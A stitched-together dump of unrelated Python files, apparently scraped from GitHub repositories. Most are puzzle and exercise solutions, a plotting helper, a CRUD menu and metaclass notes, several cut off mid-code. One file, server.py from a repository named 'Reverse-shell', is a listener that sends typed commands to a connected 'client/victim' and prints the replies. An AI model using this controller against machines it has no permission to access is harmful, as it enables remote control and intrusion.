For example, 6 = 1 + 2 + 3 = 1 × 2 × 3.
For a given set of size, k, we shall call the smallest N with this property a
minimal product-sum number. The minimal product-sum numbers for sets of size,
k = 2, 3, 4, 5, and 6 are as follows.
k=2: 4 = 2 × 2 = 2 + 2
k=3: 6 = 1 × 2 × 3 = 1 + 2 + 3
k=4: 8 = 1 × 1 × 2 × 4 = 1 + 1 + 2 + 4
k=5: 8 = 1 × 1 × 2 × 2 × 2 = 1 + 1 + 2 + 2 + 2
k=6: 12 = 1 × 1 × 1 × 1 × 2 × 6 = 1 + 1 + 1 + 1 + 2 + 6
Hence for 2≤k≤6, the sum of all the minimal product-sum numbers is 4+6+8+12 = 30;
note that 8 is only counted once in the sum.
In fact, as the complete set of minimal product-sum numbers for 2≤k≤12 is
{4, 6, 8, 12, 15, 16}, the sum is 61.
What is the sum of all the minimal product-sum numbers for 2≤k≤12000?
'''
'''
Brainstorm
for k = n
x1 * x2 * x3 * x4 ... *xn = x1 + x2 + x3 + x4 .... + xn = p
where x1 >= x2 >= x3 >= x4 .... >= xn
Furthermore:
x2 * x3 * x4 ... *xn = 1 + (x2 + x3 + x4 .... + xn)/x1 = p / x1
(x2 + x3 + x4 .... + xn)/x1 must be an integer since
x2 * x3 * x4 ... *xn - 1 is an integer
x2 * x3 * x4 ... *xn = p/x1 this is a subproblem!
Therefore, x2 + x3 + x4 .... + xn is a multiple of x1
Furthermore, to minimize the product sum p, x1 should be as low as possible, since the
minimum value for x2+x3+x4...+xn is minimized that way
'''
totSum = 0
#for k in xrange(1, 12000 + 1)
|
02552aac50df7d47002512b454cfcb0dc8d98b2d | prabin-lamichhane2000/Reverse-shell | /server.py | 1,507 | 3.796875 | 4 | import socket
import sys
# create a socket (connect to computers)
def create_socket( ):
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket( )
except socket.error as msg:
print( "Socket creation error: " + str( msg ) )
# Binding the socket and listening for connection
def bind_socket( ):
try:
global host
global port
global s
print( "Binding the Port" + str( port ) )
s.bind( (host, port) )
s.listen( 5 )
except socket.error as msg:
print( "Socket Binding error" + str( msg ) + "\n" + "Retrying..." )
bind_socket( )
# Establish connection with a client (socket must be listening)
def socket_accept( ):
conn, address = s.accept( )
print( "Connection has been established ! | IP " + address[0] + " | Port" + str( address[1] ) )
send_commands( conn )
conn.close( )
# Send commands to client/victim or a friend
def send_commands( conn ):
while True:
cmd = input( "" )
if cmd == "quit":
conn.close( )
s.close( )
sys.exit( )
if len( str.encode( cmd ) ) > 0:
conn.send( str.encode( cmd ) )
client_response = str( conn.recv( 1024 ), "utf-8" )
print( client_response, end="" )
def main( ):
create_socket( )
bind_socket( )
socket_accept( )
main( )
|
cfa478c1b1a7fb2ef1ff4f339dd10613885970fb | navyhockey56/hackerrank | /HRordereredDict.py | 449 | 3.640625 | 4 | #https://www.hackerrank.com/challenges/py-collections-ordereddict/problem
from collections import OrderedDict
n = int(raw_input())
d = OrderedDict()
for i in range(n):
line = raw_input().split(" ")
item = reduce(lambda x,y: x + " " + y, line[0:len(line) - 1])
price = int(line[len(line) - 1])
if item in d.keys():
d[item] += int(price)
else:
d[item] = int(price)
for k in d.keys():
print k + " " + str(d[k])
|
eccad8d5fa3e0fbe24043a1cdc54f51a5f556900 | bhardwaj58/stock_backtester | /compare_plot_fn.py | 4,401 | 3.578125 | 4 | """
Function will take in a DataFrame, list of strategy names, amount of starting cash, ticker that's being
tested and the image save location.
Output is a plot of the net worth of each strategy in the portfolio over time.
"""
import os
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
import numpy as np
def plot_fn(df, names, cash, test_symbol, save_image=''):
fig, ax1 = plt.subplots(figsize = (12,8))
### Push left boarder 30% to the right to make room for the large annotation
fig.subplots_adjust(left=.3)
### Labels
plt.xlabel("Date", labelpad=15)
plt.ylabel("Value of account ($)")
plt.title("S&P500 Buy and Hold vs Trading Strategy(s)", pad=15, fontsize=18, weight='bold')
### Grid
plt.grid(True, which='both', axis='both', alpha=.5)
### Format dates on the x-axis
fig.autofmt_xdate()
ax1.fmt_xdata = mdates.DateFormatter('%Y-%m-%d')
### Lists that'll eventually have the max and mins of each *_net_worth column
ylim_max_list = []
ylim_min_list = []
### List of axes of the plot
ax_list = []
### Fill out ax_list, max_list and min_list with appropriate values for each strategy
for name in names:
### Clone the original axis, keeping the X values
ax_list.append(ax1.twinx())
### Append the max and min of the *_net_worth column, for scaling later
ylim_max_list.append(df["{}_net_worth".format(name)].max())
ylim_min_list.append(df["{}_net_worth".format(name)].min())
### Take the max of the max list and the min of the min list
ylim_max_val = np.max(ylim_max_list)
ylim_min_val = np.min(ylim_min_list)
### List of colors to use for lines in plot
### I'd recommend using the below link to get groups of optimally different colors
### https://medialab.github.io/iwanthue/
### The first color should stay grey-ish as that's the S&P500 benchmark line
colors = ['#929591', '#b6739d', '#72a555', '#638ccc', '#ad963d'][:len(names)]
### Iterate through a zip of the axes, names and colors and plot
for ax, name, color in zip(ax_list, names, colors):
### Do some special formatting for the S&P500 benchmark line
if 'sp' in name:
alpha = .5
linewidth=2
else:
alpha = 1
linewidth=4
ax.plot_date(x=df["Date"], y=df["{}_net_worth".format(name)],
linestyle='-', linewidth=linewidth, markersize=0, alpha=alpha, color=color,
label="'{}' Net Worth".format(name))
### Set all the axes y-limit
for ax, name in zip(ax_list, names):
ax.set_ylim([ylim_min_val * .8, ylim_max_val * 1.1])
ax1.set_ylim([ylim_min_val * .8, ylim_max_val * 1.1])
fig.legend(loc='upper left', fontsize = 'medium')
### Create the annotation with the run data
length_days = df.shape[0]
length_years = round(length_days / 253, 3) # 253 trading days in a year according to Google
caption_str = """{length} days - {length_year} years\nStarting Cash: ${cash}\n${symbol} Stock\n""".format(length = length_days, length_year = length_years, cash=cash, symbol = test_symbol)
for name in names:
### Take the last value from the *_net_worth column as the Final Net Worth, round it to 2 decimals
final_net = round(df.loc[df.index[-1], "{}_net_worth".format(name)], 2)
### Subtract final from starting to get profit
dollar_gain = round(final_net - cash, 2)
### Divide profit by start cash to get percent gain
perc_gain = round(100*(dollar_gain / cash), 3)
### Put it all together
caption_str += '\n' + '{name}'.format(name=name)
caption_str += '\n Final Net: ${net_worth}'.format(net_worth = final_net)
caption_str += '\n Profit: ${gain_dol} ({gain_perc}%)\n'.format(gain_dol=dollar_gain, gain_perc = perc_gain)
print(caption_str)
fig.text(0.02, .5, caption_str,va='center', ha='left', fontsize=9)
### If `save_image` is not blank, save an image of the plot to that location
if save_image != '':
if '.png' not in save_image:
save_image += '.png'
### Check if "output_files" directory exists
if not os.path.exists("output_files"):
os.mkdir('output_files')
plt.savefig('output_files/' + save_image)
plt.show()
|
bbc6b361789515788d91045550139b517baa7f8e | joysn/leetcode | /leetcode1296_divide_array_k_consecutive_array.py | 1,704 | 3.71875 | 4 | # https://leetcode.com/problems/divide-array-in-sets-of-k-consecutive-numbers/
# 1296. Divide Array in Sets of K Consecutive Numbers
# Given an array of integers nums and a positive integer k, find whether it's possible to divide this array into sets of k consecutive numbers
# Return True if its possible otherwise return False.
# Example 1:
# Input: nums = [1,2,3,3,4,4,5,6], k = 4
# Output: true
# Explanation: Array can be divided into [1,2,3,4] and [3,4,5,6].
# Example 2:
# Input: nums = [3,2,1,2,3,4,3,4,5,9,10,11], k = 3
# Output: true
# Explanation: Array can be divided into [1,2,3] , [2,3,4] , [3,4,5] and [9,10,11].
# Example 3:
# Input: nums = [3,3,2,2,1,1], k = 3
# Output: true
# Example 4:
# Input: nums = [1,2,3,4], k = 3
# Output: false
# Explanation: Each array should be divided in subarrays of size 3.
class Solution:
def isPossibleDivide(self, nums: List[int], k: int) -> bool:
l = len(nums)
if l < k:
return False
count = collections.Counter(nums)
#print(count)
for num in nums:
if count[num] > 0:
while True:
if count[num-1] > 0:
num = num-1
else:
break
#print("Processing ",num)
for i in range(k):
#print("...Dealing with ",num+i," with count ",count[num+i])
if count[num+i] > 0:
count[num+i] -= 1
else:
return False
return True
|
2b581f5773a8fd644f63782766353242618de3ab | deiividramirez/MisionTIC2022 | /Ciclo 1 (Grupo 36)/Clases/ControladorCRUD.py | 2,587 | 3.625 | 4 | import CRUD
while True:
ListaTareas = CRUD.Leer()
print("\n---------------------------------------")
print("Aplicación CRUD")
print("1. Adicionar Tarea")
print("2. Consultar Tareas")
print("3. Actualizar Tarea")
print("4. Eliminar Tarea")
print("5. Salir")
opcion = input("\nIngrese una opción: ")
print("---------------------------------------\n")
if opcion == "1":
nombre = input("Ingrese el nombre de la tarea >> ")
descrp = input("Describa la tarea >> ")
estado = input("Estado actual de la tarea >> ")
try:
tiempo = float(input("Ingrese el tiempo destinado para la tarea (minutos) >> "))
except:
print("Error. Tiempo debe ser un número.")
continue
CRUD.Crear(
nombre,
{"Descripcion":descrp, "Estado Actual":estado, "Tiempo":tiempo}
)
elif opcion == "2":
print("Lista de tareas guardadas:\n")
for i, Tarea in enumerate(ListaTareas):
print(f"{i+1}: {Tarea}:\n")
Tarea = ListaTareas[Tarea]
print(f"Descripción: {Tarea['Descripcion']}")
print(f"Estado Actual: {Tarea['Estado Actual']}")
print(f"Tiempo: {Tarea['Tiempo']}")
elif opcion == "3":
nombre = input("Ingrese el nombre de la tarea >> ")
if nombre not in ListaTareas: print("La tarea no existe.")
else:
descrp = input("Describa la tarea >> ")
estado = input("Estado actual de la tarea >> ")
try:
tiempo = float(input("Ingrese el tiempo destinado para la tarea (minutos) >> "))
except:
print("Error. Tiempo debe ser un número.")
continue
CRUD.Crear(
nombre,
{"Descripcion":descrp, "Estado Actual":estado, "Tiempo":tiempo}
)
elif opcion == "4":
nombre = input("Ingrese el nombre de la tarea >> ")
if nombre not in ListaTareas: print("La tarea no existe.")
else:
CRUD.Eliminar(nombre)
print("Se ha eliminado la tarea.")
elif opcion == "5":
print("\nGracias por utilizar este servicio 😁\n")
break
else:
print("\nOpción no disponible. Inténtelo de nuevo") |
71eebfeb01cb46104d9dbe83ef64566bd17751fa | GudniNathan/SC-T-201-GSKI | /recursion 2/elfish.py | 584 | 3.890625 | 4 | def x_ish(a_string, x):
if not x:
return True
if len(x) == 1:
if not a_string:
return False
if a_string[-1] == x:
return True
return x_ish(a_string[:-1], x)
if x_ish(a_string, x[-1]):
return x_ish(a_string, x[:-1])
return False
def x_ish(a_string, x):
for char in x:
for compare_char in a_string:
if char == compare_char:
break
else:
return False
return True
print(x_ish("gagnaskipan", "iganpsk"))
print(x_ish("gagnaskipan", "gnAsk"))
|
df3766a2a46a372087795b34b3c8353b8e9989b0 | rushirg/LeetCode-Problems | /solutions/count-odd-numbers-in-an-interval-range.py | 905 | 3.71875 | 4 | """
1523. Count Odd Numbers in an Interval Range
- https://leetcode.com/contest/biweekly-contest-31/problems/count-odd-numbers-in-an-interval-range/
- https://leetcode.com/problems/count-odd-numbers-in-an-interval-range/
"""
# Solution 1:
class Solution:
def countOdds(self, low: int, high: int) -> int:
# another way to solve this problem is
# we can calculate the difference between these numbers
count = (high - low) // 2
# if either one of them is odd we increment the counter
if high % 2 != 0 or low % 2 != 0:
count += 1
# return the count
return count
# Solution 2:
class Solution:
def countOdds(self, low: int, high: int) -> int:
# we can find the odd number from 0...high and subtract those from 0...low
# i.e. for f(x) = f(x + 1) // 2
return (high + 1) // 2 - low // 2
|
ff76abcbedf119a43e9dcc07b62a6f7ae1dce54a | MingiPark/BaekJoon-Python | /Dynamic Programming/2193.py | 207 | 3.609375 | 4 | if __name__ == "__main__":
n = int(input())
list = [0]*(90+1)
list[0], list[1], list[2] = 0, 1, 1
for i in range(3, 90+1):
list[i] = list[i-1] + list[i-2]
print(list[n])
|
94284cfc16417172bf16d76d2ae2c85805613d14 | sangm1n/problem-solving | /BOJ/17164.py | 430 | 3.5 | 4 | """
author : Lee Sang Min
github : https://github.com/sangm1n
e-mail : dltkd96als@naver.com
title : Rainbow Beads
description : Sliding Window
"""
N = int(input())
colors = list(input())
result, count = 0, 1
for i in range(1, N):
if colors[i-1] == 'R' and colors[i] == 'B' or colors[i-1] == 'B' and colors[i] == 'R':
count += 1
continue
result = max(result, count)
count = 1
result = max(result, count)
print(result)
|
1d13e80bd12ae338b825f2881ffaa80a99b0a730 | franciscovargas/SELP | /test/test_dice.py | 1,191 | 3.5 | 4 | from random import randint
import unittest
from app.map_graph import decision_at_node_N
import sqlite3
class TestSequenceFunctions(unittest.TestCase):
def setUp(self):
self.weights = [randint(0,101),
randint(0,101),
randint(0,101),
randint(0,101),
randint(0,101),
randint(0,101)]
def test_dice_on_valid_input(self):
"""
The following test inspects that the dice function
does not break on valid inputs.
"""
raised = False
try:
decision_at_node_N(self.weights)
except:
raised = True
self.assertFalse(raised, 'Exception raised')
def test_dice_ouput(self):
"""
The following test inspects that the dice function
outputs values in the range [0,5] for a 6 choice run
"""
for i in range(0,100):
weights2 = [randint(0,101) for i in range(0,6)]
self.assertTrue(decision_at_node_N(weights2) <= 5)
self.assertTrue(decision_at_node_N(weights2) >= 0)
if __name__ == '__main__':
unittest.main()
|
afb73ba53e812e0d71615bd02dda5f8044cbc98a | IrenaVent/pong | /pruebas.py | 852 | 3.578125 | 4 | import pygame as pg #le ponemos un alias, para no escribir tanto
pg.init()
pantalla = pg.display.set_mode((800, 600)) # cogemos módulo display de pygame, devuelve una surface, un rectángulo // set_mode(size=(0, 0), flags=0, depth=0, display=0, vsync=0) -> Surface
game_over = False
while not game_over:
eventos = pg.event.get() # procesar los eventos, línea fundamental para que no pete, es como si limpiar la memoria por cada vuelta
for evento in eventos:
if evento.type == pg.QUIT: # sin "()" es una constante, es decir QUIT es una constatnte
game_over = True
pantalla.fill((255, 0, 0))
pg.display.flip() #hay que hacerlo SIEMPRE, will update the contents of the entire display // updates the whole screen / último mandato del programa
pg.quit() # método (es una función) para finalizar el juego |
60d3986cb6577eedc5b30ec318cacb095a06157a | TiesHoenselaar/AdventOfCode | /2022/day3/puzzle1/puzzle1.py | 691 | 3.8125 | 4 | input_file = "day3/puzzle1/intput.txt"
# input_file = "day3/puzzle1/test_input.txt"
total_priority = 0
with open(input_file, "r") as input_file:
for line in input_file:
text_line = line.strip()
first_part = text_line[:int(len(text_line)/2)]
second_part = text_line[int(len(text_line)/2):]
# print(text_line, first_part, second_part)
for letter in first_part:
if letter in second_part:
if letter.islower():
priority = ord(letter) - 96
else:
priority = ord(letter) - 64 + 26
total_priority += priority
break
print(total_priority) |
4e0a0c7a188671786a811f6a4f6db2a877bcefbb | nao-j3ster-koha/Py3_Practice | /Paiza_Prac/SkillChallenge/D-Rank/D-71_洗濯物と砂ぼこり/D-71_Washes-and-Dust.py | 252 | 3.65625 | 4 | t, m = map(int, input().split())
while ( t < 0 or t > 40) \
or ( m < 0 or m > 100):
t, m = map(int, input().split())
if ( t >= 25 and m <= 40):
rslt = 'No'
elif( t >= 25 or m <= 40 ):
rslt = 'Yes'
else:
rslt = 'No'
print(rslt)
|
4a8a5741ac1ee2e66aba7092457b89ff684105da | solomonkinard/CtCI-6th-Edition-Python | /Chapter0/BigO/Example3.py | 2,199 | 4.5625 | 5 | def print_unordered_pairs(arr):
n = len(arr)
for i in range(n):
for j in range(i+1, n):
print(arr[i], arr[j])
print_unordered_pairs([2,3,4,5,6])
"""
Example 3
This is very similar code to the above example, but now the inner for loop starts at i
We can derive the runtime several ways.
Counting the Iterations
The first time through j runs for N -1 steps. The second time, it's N- 2 steps.Then N-3 steps. And so on. Therefore, the number of steps total is:
(N-l) + (N-2) + (N-3) + ... + 2 + 1
26 Cracking the Coding Interview, 6th Edition
This pattern of for loop is very common. It's important that you know the runtime and that you deeply understand it. You can't rely on just memorizing common runtimes. Deep comprehen- sion is important.
» 1 + 2 + 3 + ...+ H-l = sum of 1 through N-l
The sum ofl throughN-lis (see "Sum of Integers 1 through N" on page 630), so the runtime will be 0(NJ).
What lt Means
Alternatively, we can figure out the runtime by thinking about what the code "means." It iterates through each pair of values for { i , j) where j is bigger than i.
There are N1 total pairs. Roughly half of those wil! have i < j and the remaining half will have i > code goes through roughly w/2 pairs so it does Off^) work.
Visualizing What It Does
The code iterates through the following ( i , j)pairswhenN = 8:
j.This
{0, 1) (0, 2) (0, 3) (0, 4) (0j 5) <0, 6) {0, 7) (1, 2) (1, 3) (1, 4) (1, 5) {1, 6) (1, 7) (2j3)(2,4)(2j5)(2j6) (2, 7) (3j 4) (3j S) (3, 6) (3, 7) (4, 5) <4, 6) (4, 7) (5, 6) (5j 7) (6, 7)
This looks like half of an NxN matrix, which has size (roughly)
Average Work
Therefore, it takes 0(N2) time.
We know that the outer loop runs N times. How much work does the inner loop do? It varies across itera- tions, but we can think about the average iteration.
What is the average value of lj 2, 3, 4, 5, 6, 7, 8, 10? The average value will be in the middle, so it will be roughly 5. (We could give a more precise answer, of course, but we don't need to for big 0.)
What about for 1, 2, 3, . N?Theaverage value in this sequence is N/2.
Therefore, since the inner loop does Yi work on average and it is run N times, the total work is V i ' which
isO(N;).
""" |
ee4009557e559fd0e6859d6acba1a4c527cbb692 | superyang713/Learn_C_from_Havard_CS50 | /Duke_Coursera_Programming_C/course_2_Writing_Running_and_Fixing_Code_in_C/week_2/06_rect_practice_algrithm.py | 1,626 | 3.765625 | 4 | class Rect:
def __init__(self, x, y, width, height):
self.x = x
self.y = y
self.width = width
self.height = height
def canonicalize(self):
if self.width < 0:
self.x = self.x + self.width
self.width = -self.width
if self.height < 0:
self.y = self.y + self.height
self.height = -self.height
def print_rectangle(self):
self.canonicalize()
if self.width == 0 & self.height == 0:
print('<empty>')
else:
print('({}, {}) to ({}, {})'.format(
self.x, self.y, self.x + self.width, self.y + self.height))
def intersection(self, rect):
self.canonicalize()
if (self.x >= rect.x + rect.width or self.x + self.width <= rect.x or
self.y >= rect.y + rect.height or self.y + self.height <= rect.y):
self.width = 0
self.height = 0
else:
right = min(self.x + self.width, rect.x + rect.width)
top = min(self.y + self.height, rect.y + rect.height)
self.x = max(self.x, rect.x)
self.y = max(self.y, rect.y)
self.width = right - self.x
self.height = top - self.y
def __repr__(self):
return '[{}, {}, {}, {}]'.format(
self.x, self.y, self.width, self.height)
rect_1 = Rect(2, 3, 5, 6)
rect_1.canonicalize()
rect_2 = Rect(4, 5, -5, -7)
rect_2.canonicalize()
rect_3 = Rect(-2, 7, 7, -10)
rect_3.canonicalize()
rect_4 = Rect(0, 7, -4, 2)
rect_4.canonicalize()
rect_4.intersection(rect_3)
rect_4.print_rectangle()
|
0486e08fc8bccee06d79db378d3b3f88ddde81e5 | fabriciolelis/python_studying | /coursera/Michigan/chapter_8/number_list.py | 217 | 4.0625 | 4 | numlist = list()
while True:
inp = input('Enter a number: ')
if inp == 'done':
break
value = float(inp)
numlist.append(value)
print('Maximum: ', max(numlist))
print('Minimum: ', min(numlist))
|
b05053d9149a8452534b0fb4672c230b32e5d81a | Larionov0/Group3_Lessons | /Basics/Functions/Homeworks/main.py | 159 | 3.640625 | 4 | numbers = [1, 5, 3, 6, 2, 6, 3, 6, 4, 2, 3, 6]
for i in range(len(numbers) - 1, -1, -1):
if numbers[i] % 2 == 0:
numbers.pop(i)
print(numbers)
|
d115ba80d21a95092f5d249e58bf34391ba11833 | toulondu/leetcode-repo | /other-easy/climbStairs.py | 1,208 | 3.90625 | 4 | '''
70. 爬楼梯
假设你正在爬楼梯。需要 n 阶你才能到达楼顶。
每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢?
注意:给定 n 是一个正整数。
示例 1:
输入: 2
输出: 2
解释: 有两种方法可以爬到楼顶。
1. 1 阶 + 1 阶
2. 2 阶
示例 2:
输入: 3
输出: 3
解释: 有三种方法可以爬到楼顶。
1. 1 阶 + 1 阶 + 1 阶
2. 1 阶 + 2 阶
3. 2 阶 + 1 阶
'''
# 初次设想:可以化作一个数学问题
# 首先,n最多包含n/2个2
# 那么,全为1为一种策略
# 每次增加一个2,计算策略数,比如1个2的时候,总步数为n-1,选择一步为2,则为从n-1中选择1步的数量
# 以此类推,直到底数小于顶数
import math
class Solution:
def climbStairs(self, n: int) -> int:
def choseMFromN(m: int, n: int) -> int:
return math.factorial(m) // (math.factorial(m-n) * math.factorial(n))
# 全1的情况
res = 1
bottom = n-1
while bottom >= n-bottom:
res += choseMFromN(bottom, n-bottom)
bottom -= 1
return res
s = Solution()
print(s.climbStairs(1))
|
a1665ac001227ad1abcb465ef9d4e83f1de0e227 | pilagod/leetcode-python | /google-code-jam-round1-2016/C.py | 2,067 | 3.5 | 4 | class Solution(object):
def getMaxCircle(self, num, bffs):
def makePath(kid):
firstRound = True
result = []
result.append(kid)
kid = bffs[kid]
while True:
# print(result, kid, bffs[kid])
if bffs[kid] == result[0]:
result.append(kid)
return (True, result)
elif bffs[kid] == result[-1]:
result.append(kid)
return (False, result)
elif not firstRound and bffs[kid] in result:
return (False, [])
result.append(kid)
kid = bffs[kid]
firstRound = False
def dfs(path):
result = []
for i in range(num):
if i not in path:
if path[0] == bffs[i]:
result.append(dfs([i] + path))
if path[-1] == bffs[i]:
result.append(dfs(path + [i]))
if len(result) == 0:
return len(path)
else:
return max(result)
result = []
paths = []
for i in range(num):
isCircle, curPath = makePath(i)
# print(isCircle, curPath)
if isCircle:
result.append(len(curPath))
if not isCircle and len(curPath) > 0:
paths.append(curPath)
for i in range(len(paths)):
result.append(dfs(paths[i]))
# TODO: dfs
return max(result)
# raw_input() reads a string with a line of input, stripping the '\n' (newline) at the end.
# This is all you need for most Google Code Jam problems.
t = int(input()) # read a line with a single integer
test = Solution()
for i in range(1, t + 1):
num = int(input())
bffs = [int(bff) - 1 for bff in input().split(' ')]
print("Case #{}: {}".format(i, test.getMaxCircle(num, bffs)))
# check out .format's specification for more formatting options
|
f2316d0c2021c05f47a5ce9a11479d80766464ed | alex-radchenko-github/codewars-and-leetcode | /codewars/6 kyu/Character with longest consecutive repetition.py | 869 | 3.578125 | 4 | from itertools import groupby
from collections import Counter
def longest_repetition(chars):
return list(map(lambda x: list(x[1]), groupby(chars)))
# rez = []
# for i in groupby(chars):
# rez.append([i[0], len(list(i[1]))])
# #for i in groupby(chars):
# # print(list(i[1]))
# return tuple(max(rez, key=lambda x: x[1], default=('', 0)))
# rez = [0,""]
# t1 = [1, chars[0]]
# for i in range(len(chars)-1):
# if chars[i] == chars[i+1]:
# t1[0] = t1[0] + 1
# t1[1] = chars[i]
# if i == range(len(chars)-1)[-1]:
# if t1[0] > rez[0]:
# rez = t1
# elif chars[i] != chars[i+1]:
# if t1[0] > rez[0]:
# rez = t1
# t1 = [1, ""]
# rez.reverse()
# return tuple(rez)
print(longest_repetition("bbbaaabaaaa"))#('a', 4) |
2db4a62bdaead8d1c5d77dbd2cae32f1f7b1a03b | baobaozi705/answerOfCorePythonProgrammingEdit2 | /chapter2/2-7.py | 221 | 3.703125 | 4 | userinput=raw_input('please input a string: ')
i=0
while i<len(userinput):
print userinput[i]
i+=1
userinput=raw_input('please input a string: ')
userinput.strip()
for i in range(len(userinput)):
print userinput[i]
|
680c60128ef819bcdc7af4a2ec64878a2bc939ac | calpuche/CollegeAssignments | /software2project/Java/softwareEngineeringII/src/MemoryTest.py | 733 | 3.53125 | 4 | # MemoryTest.py
#
# Author: Eddie
# Simple script that performs a memory test on the SUT hardware
# This test determines if the program can produce a list with one million items
# Prints SUCCESS if successful, FAIL if not
#
# This program will run on a SUT
import random
import sys
def generateList(someList):
try:
count = 0
while (count<1048576):
someList.append(random.randint(0,9))
count+=1
return someList
except MemoryError as me:
print("ERROR - ", me), False
def main():
try:
memList = []
memList = generateList(memList)
if len(memList) > 0:
print("SUCCESS")
except:
print("ERROR - ", sys.exc_info())
main() |
cf88c36c9680a32e1386cdd635a9dda66061e6a9 | ronika-das/HacktoberFest2019 | /src/lab numbers/lab_number.py | 416 | 4.03125 | 4 | #To check whether a number is Lab Number or not
def checkLab(n):
if n==2:
return False
else:
list1=[]
for i in range(2, n//2):
if n % i ==0:
list1.append(i)
list1.append(n/i)
for i in list1:
if i** 2 in list1:
return True
return False
num = int(input("Enter a number:"))
print(checkLab(num))
|
c91efddd83818054eec03b3e4c8f4894b49cdc55 | Licas/pythonwebprojects | /HelloWorld/conditions.py | 240 | 4 | 4 | is_warm = False
is_cold = True
if is_warm:
print("It's a hot day")
print('Drink a lot of water')
elif is_cold:
print("It's a cold day")
print("Wear warm clothes")
else:
print("It's a lovely day")
print("Enjoy your day") |
486147d7ae977a9fa8aec27c0e94b91611ac2bcc | Pongsakorn0/BasicPython | /first.py | 1,445 | 3.8125 | 4 | # print("hello Python")
# print(2+3)
# print(2**3)
# # ,end= ไว้สำหรับ ต่อข้อความ จากบรรทัดต่อไป ไม่งั้นจะขึ้นบรรทัดใหม่ เสมอ
# #rint("sss", end="")
# print("note_ZA "*3)
# print(sum(range(1, 10))) # rang ไม่เอาตัวท้ายไปนับ มีแค่ 1-9
# print("\t pongsakorn") # \t = ย่อหน้า
# print("This is = "+"Saturday")
# print("This is = ", "Saturday") # , เชื่อม ข้อความ และเว้นวรรค
# ---------------------------- ตัวแปร มาใส่ในข้อความ -------------------------------
a = 3
b = 15.50
# วิธีที่ 1
print("ราคาขายต่อชิ้น", b)
# วิธีที่ 2
# %s ข้อความ
# %d จำนวนเต็ม
# %f ทศนิยม .2 = ทศนิยม 2 ตำแหน่ง
print("ราคาขายต่อชิ้น %.2f บาท จำนวน %d ชิ้น " %
(b, a)) # เอาตัวแปร b เข้าไปใน %f
# วิธีที่ 3 ใส่ f ข้างหน้าข้อความ ใส่ ตัวแปร ไว้ใน {}
print(f"ราคาขายต่อชิ้น {b} บาท จำนวน {a} ชิ้น")
print("สวัสดีไพทอน")
|
52d809a6f2ab153f737580f75546440fa2896199 | dayanandtekale/Python-Programs- | /fun_def.py | 1,007 | 3.953125 | 4 | #function Declaration and definition
# def hello():
# print("Python")
# a = hello()
# print("called hello function and got value", a)
a = int(input("Enter a number"))
b = int(input("Enter a number"))
def mul(a, b):
print("a = ", a)
print("b = ", b)
return a * b
# print(sum(5, 20))
X = mul(a, b)
print("called sum function and got value", X)
# (non - parameterized) void function
# parameterized void function
# (non - parameterized) returning function
# parameterized returning function
# hello()
# def sum():
# a = 10
# b = 20
# print(a+b)
# sum()
# a = int(input("Enter a number"))
# b = int(input("Enter a number"))
# # def sum2(i, j):
# # # print(i + j)
# # return i + j
# # print(sum2(a, b))
# def printsum(i ,j):
# c = i + j
# return c
# print("c = ", c)
# z = printsum(a ,b)
# print("z = ",z)
# # c = sum2(a, b)
# # print(c)
# # print(sum2(a,b))
|
daa95aabfe2bdc399d2930250305e5c28768356e | mrparkonline/python3_for | /solutions/picturePerfect.py | 1,203 | 3.5 | 4 | # CCC 2003 J2 - Picture Perfect
user_input = -1
while user_input != 0:
user_input = int(input('Enter the number of pictures: '))
if user_input != 0:
upper_limit = int(user_input ** 0.5) + 1 # sqrt of user_input
# so that we may create squares
min_perimeter = 0
side1_answer = 0
side2_answer = 0
for dimension in range(1, upper_limit):
if user_input % dimension == 0:
side1 = dimension
side2 = user_input // dimension
perimeter = 2*side1 + 2*side2
#print('Current perimeter:', perimeter)
#print('Dimension:', side1, 'x', side2)
if min_perimeter != 0 and perimeter < min_perimeter:
min_perimeter = perimeter
side1_answer = side1
side2_answer = side2
elif min_perimeter == 0:
min_perimeter = perimeter
side1_answer = side1
side2_answer = side2
# end of for
print('Minimum perimeter is',min_perimeter, 'with dimensions', side1_answer, 'x', side2_answer)
|
907b642a547db2ef6fa26e584567bfbbd9b48e02 | himanshu2801/leetcode_codes | /917. Reverse Only Letters.py | 734 | 3.8125 | 4 | """
Question...
Given a string S, return the "reversed" string where all characters that are not a letter stay in the same place, and all letters reverse their positions.
Example 1:
Input: "ab-cd"
Output: "dc-ba"
Example 2:
Input: "a-bC-dEf-ghIj"
Output: "j-Ih-gfE-dCba"
Solution...
"""
class Solution:
def reverseOnlyLetters(self, s: str) -> str:
unknown="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
s1=""
for i in range(len(s)):
if s[i] in unknown:
s1=s1+s[i]
s1=s1[::-1]
lst=list(s1)
for i in range(len(s)):
if s[i] not in unknown:
lst.insert(i,s[i])
return ''.join(lst)
|
ba6d5419577909a3b970eec3149d67d9799a2ef8 | githubvit/study | /hfpython/day23/05 元类.py | 3,901 | 3.65625 | 4 | # code="""
# global x
# x=0
# y=2
# """
# global_dic={'x':100000}
# local_dic={}
# exec(code,global_dic,local_dic)
#
# print(global_dic)
# print(local_dic)
#
# code="""
# x=1
# y=2
# def f1(self,a,b):
# pass
# """
# local_dic={}
# exec(code,{},local_dic)
# print(local_dic)
#
#1、一切皆为对象:
# Chinese=type(...)
# class Chinese:
# country="China"
#
# def __init__(self,name,age,sex):
# self.name=name
# self.age=age
# self.sex=sex
#
# def speak(self):
# print('%s speak Chinese' %self.name)
#
# print(Chinese)
# p=Chinese('egon',18,'male')
# print(type(p))
# print(type(Chinese))
# 元类:类的类就是元类,
#我们用class定义的类使用来产生我们自己的对象的
#内置元类type是用来专门产生class定义的类的
class Foo: #Foo=type(...)
pass
# print(type(Foo))
# f=Foo
#
# l=[Foo,]
# print(l)
#2、用内置的元类type,来实例化得到我们的类
# class_name='Chinese'
# class_bases=(object,)
# class_body="""
# country="China"
# def __init__(self,name,age,sex):
# self.name=name
# self.age=age
# self.sex=sex
# def speak(self):
# print('%s speak Chinese' %self.name)
# """
# class_dic={}
# exec(class_body,{},class_dic)
# 类的三大要素
# print(class_name,class_bases,class_dic)
# Chinese=type(class_name,class_bases,class_dic)
# print(Chinese)
# p=Chinese('egon',18,'male')
# print(p.name,p.age,p.sex)
#3、储备知识__call__
# class Foo:
# def __init__(self):
# pass
# def __str__(self):
# return '123123'
#
# def __del__(self):
# pass
#
# # 调用对象,则会自动触发对象下的绑定方法__call__的执行,
